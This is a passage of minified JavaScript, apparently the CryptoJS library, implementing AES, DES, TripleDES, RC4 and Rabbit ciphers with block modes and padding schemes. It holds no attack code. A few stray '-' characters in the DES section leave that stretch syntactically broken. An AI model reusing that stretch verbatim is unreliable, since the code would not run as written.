y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { - function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { - var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; - } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) - }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.Rabbit = n.extend({ _doReset: function () { for (var t = this._key.words, e = this.cfg.iv, i = 0; i < 4; i++)t[i] = 16711935 & (t[i] << 8 | t[i] >>> 24) | 4278255360 & (t[i] << 24 | t[i] >>> 8); var n = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], o = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var i = 0; i < 4; i++)r.call(this); for (var i = 0; i < 8; i++)o[i] ^= n[i + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; o[0] ^= h, o[1] ^= f, o[2] ^= l, o[3] ^= u, o[4] ^= h, o[5] ^= f, o[6] ^= l, o[7] ^= u; for (var i = 0; i < 4; i++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ i[5] << 16, s[2] = i[4] ^ i[1] >>> 16 ^ i[7] << 16, s[3] = i[6] ^ i[3] >>> 16 ^ i[1] << 16; for (var n = 0; n < 4; n++)s[n] = 16711935 & (s[n] << 8 | s[n] >>> 24) | 4278255360 & (s[n] << 24 | s[n] >>> 8), t[e + n] ^= s[n] }, blockSize: 4, ivSize: 2 }); e.Rabbit = n._createHelper(h) }(), t.mode.CTR = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._counter; n && (o = this._counter = n.slice(0), this._iv = void 0); var s = o.slice(0); e.encryptBlock(s, 0), o[i - 1] = o[i - 1] + 1 | 0; for (var a = 0; a < i; a++)t[r + a] ^= s[a] } }); return r.Decryptor = e, r }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 ? 1 : 0) | 0, r[6] = r[6] + 1295307597 + (r[5] >>> 0 < a[5] >>> 0 ? 1 : 0) | 0, r[7] = r[7] + 3545052371 + (r[6] >>> 0 < a[6] >>> 0 ? 1 : 0) | 0, this._b = r[7] >>> 0 < a[7] >>> 0 ? 1 : 0; for (var e = 0; e < 8; e++) { var i = t[e] + r[e], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, h = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); c[e] = s ^ h } t[0] = c[0] + (c[7] << 16 | c[7] >>> 16) + (c[6] << 16 | c[6] >>> 16) | 0, t[1] = c[1] + (c[0] << 8 | c[0] >>> 24) + c[7] | 0, t[2] = c[2] + (c[1] << 16 | c[1] >>> 16) + (c[0] << 16 | c[0] >>> 16) | 0, t[3] = c[3] + (c[2] << 8 | c[2] >>> 24) + c[1] | 0, t[4] = c[4] + (c[3] << 16 | c[3] >>> 16) + (c[2] << 16 | c[2] >>> 16) | 0, t[5] = c[5] + (c[4] << 8 | c[4] >>> 24) + c[3] | 0, t[6] = c[6] + (c[5] << 16 | c[5] >>> 16) + (c[4] << 16 | c[4] >>> 16) | 0, t[7] = c[7] + (c[6] << 8 | c[6] >>> 24) + c[5] | 0 } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = [], a = [], c = [], h = o.RabbitLegacy = n.extend({ _doReset: function () { var t = this._key.words, e = this.cfg.iv, i = this._X = [t[0], t[3] << 16 | t[2] >>> 16, t[1], t[0] << 16 | t[3] >>> 16, t[2], t[1] << 16 | t[0] >>> 16, t[3], t[2] << 16 | t[1] >>> 16], n = this._C = [t[2] << 16 | t[2] >>> 16, 4294901760 & t[0] | 65535 & t[1], t[3] << 16 | t[3] >>> 16, 4294901760 & t[1] | 65535 & t[2], t[0] << 16 | t[0] >>> 16, 4294901760 & t[2] | 65535 & t[3], t[1] << 16 | t[1] >>> 16, 4294901760 & t[3] | 65535 & t[0]]; this._b = 0; for (var o = 0; o < 4; o++)r.call(this); for (var o = 0; o < 8; o++)n[o] ^= i[o + 4 & 7]; if (e) { var s = e.words, a = s[0], c = s[1], h = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8), l = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8), f = h >>> 16 | 4294901760 & l, u = l << 16 | 65535 & h; n[0] ^= h, n[1] ^= f, n[2] ^= l, n[3] ^= u, n[4] ^= h, n[5] ^= f, n[6] ^= l, n[7] ^= u; for (var o = 0; o < 4; o++)r.call(this) } }, _doProcessBlock: function (t, e) { var i = this._X; r.call(this), s[0] = i[0] ^ i[5] >>> 16 ^ i[3] << 16, s[1] = i[2] ^ i[7] >>> 16 ^ 